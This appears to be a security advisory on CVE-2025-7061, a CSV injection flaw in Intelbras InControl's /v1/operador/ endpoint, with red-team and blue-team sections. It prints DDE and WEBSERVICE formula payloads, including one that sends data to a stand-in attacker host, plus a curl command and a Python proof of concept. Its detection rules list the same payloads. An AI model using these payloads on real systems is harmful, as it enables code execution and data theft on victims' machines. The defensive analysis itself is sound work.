CVE-2025-7061

Executive Summary

CVE-2025-7061 is a CSV Injection vulnerability affecting Intelbras InControl versions up to 2.21.60.9. The vulnerability resides in the /v1/operador/ endpoint, where user-supplied input is not properly sanitized before being written to CSV files. This allows an attacker to inject malicious formulas (e.g., DDE commands) that execute when the CSV is opened in spreadsheet applications like Microsoft Excel or LibreOffice Calc. The attack is remotely exploitable with low complexity, requiring no privileges but user interaction. The vendor has not responded to disclosure, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit details increases risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software product (Intelbras InControl) used for industrial control and monitoring.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.7 (Low)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must open the crafted CSV file.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Malicious formulas can modify data or execute commands.
• Availability Impact: None (A:N)

Threat Level: Low. The requirement for user interaction significantly reduces the risk of mass exploitation. However, in targeted attacks, this can be used as a vector for initial access or data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic CSV Injection (CWE-1236). The /v1/operador/ endpoint likely exports operator data to a CSV file. When user-controlled fields (e.g., operator name, email, or other attributes) are not sanitized, an attacker can inject payloads starting with special characters like =, +, -, or @.

Mechanism:

1. An attacker sends a crafted request to /v1/operador/ with a payload in one of the input fields, e.g., =CMD|' /C calc'!A0.
2. The server writes this payload directly into a CSV file without escaping.
3. When an administrator or operator downloads and opens the CSV in a spreadsheet application, the formula is executed.
4. This can lead to remote code execution (e.g., via DDE), data exfiltration (e.g., using =WEBSERVICE to send data to an attacker-controlled server), or local file access.

Root Cause: Lack of input sanitization and output encoding for CSV export functionality.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable: Directly writes user input to CSV
def export_operators():
    operators = get_operators_from_db()
    with open('operators.csv', 'w') as f:
        writer = csv.writer(f)
        for op in operators:
            writer.writerow([op['name'], op['email'], op['role']])

Patched Code (Conceptual):

# Patched: Sanitize fields starting with special characters
def sanitize_csv_field(value):
    if value and value[0] in ('=', '+', '-', '@', '\t', '\r'):
        value = "'" + value  # Prepend single quote to neutralize formula
    return value

def export_operators():
    operators = get_operators_from_db()
    with open('operators.csv', 'w') as f:
        writer = csv.writer(f)
        for op in operators:
            writer.writerow([
                sanitize_csv_field(op['name']),
                sanitize_csv_field(op['email']),
                sanitize_csv_field(op['role'])
            ])

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the /v1/operador/ endpoint (no authentication required).
• Ability to submit data that will be exported to CSV.

Exploit Steps:

1. Craft a payload for CSV injection. Example for Windows DDE:

   =CMD|' /C calc'!A0
   

   Or for data exfiltration:

   =WEBSERVICE("http://attacker.com/steal?data="&A1)
   

2. Send the payload to the vulnerable endpoint. For example, using curl:

   curl -X POST http://target.com/v1/operador/ \
     -d "name==CMD|' /C calc'!A0&email=test@test.com&role=admin"
   

3. Trigger the CSV export (e.g., by navigating to the export page or using another endpoint).
4. Convince a victim (e.g., an admin) to download and open the CSV file.
5. Upon opening, the payload executes.

Proof of Concept (PoC):

import requests

target = "http://target.com/v1/operador/"
payload = "=CMD|' /C calc'!A0"

data = {
    "name": payload,
    "email": "test@test.com",
    "role": "admin"
}

response = requests.post(target, data=data)
print(f"Payload sent. Status: {response.status_code}")

Blue Team

Detection:

• Monitor logs for unusual characters in POST requests to /v1/operador/ (e.g., =, +, -, @ at the start of fields).
• Alert on CSV file downloads followed by suspicious process execution (e.g., calc.exe, cmd.exe).
• Use endpoint detection and response (EDR) to monitor for DDE or WEBSERVICE execution in spreadsheet applications.

Hunting:

• Search for CSV files containing formulas starting with =, +, -, or @.
• Review web server logs for requests to /v1/operador/ with encoded payloads.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /v1/operador/ with payloads containing =CMD|, =WEBSERVICE, or similar.
  • Outbound connections from spreadsheet applications to external IPs (for data exfiltration).
• File:
  • CSV files containing formulas starting with =, +, -, or @.
  • Temporary files created by spreadsheet applications (e.g., ~$*.csv).
• Process:
  • Execution of calc.exe, cmd.exe, or powershell.exe from spreadsheet applications (e.g., EXCEL.EXE, SOFFICE.BIN).

Detection Engineering

YARA Rule

rule CVE_2025_7061_CSV_Injection {
    meta:
        description = "Detects CSV files with potential injection payloads for CVE-2025-7061"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7061"
    strings:
        $payload1 = "=CMD|" ascii wide nocase
        $payload2 = "=WEBSERVICE(" ascii wide nocase
        $payload3 = "=DDE(" ascii wide nocase
        $payload4 = "=EXEC(" ascii wide nocase
        $payload5 = "=HYPERLINK(" ascii wide nocase
        $payload6 = /^[=+\-@]/ ascii wide
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: CSV Injection via Intelbras InControl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /v1/operador/ with CSV injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/operador/'
        cs-uri-query|contains:
            - '=CMD|'
            - '=WEBSERVICE('
            - '=DDE('
            - '=EXEC('
            - '=HYPERLINK('
    condition: selection
falsepositives:
    - Legitimate use of special characters in operator names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7061 CSV Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/operador/"; http_uri; content:"=CMD|"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV Export: If possible, temporarily disable the CSV export functionality until a patch is available.
2. Input Sanitization: Implement server-side sanitization to prepend a single quote (') to any field starting with =, +, -, or @.
3. User Awareness: Educate users to not open CSV files from untrusted sources and to disable DDE in spreadsheet applications.

Long-Term Fix:

• The vendor must release a patch that properly escapes CSV output. If no patch is forthcoming, consider migrating to an alternative solution.

Workarounds:

• Use a web application firewall (WAF) to block requests containing CSV injection payloads.
• Configure spreadsheet applications to disable automatic DDE execution (e.g., in Excel: File > Options > Trust Center > Trust Center Settings > External Content).

Valters IT
Securing Digital Frontiers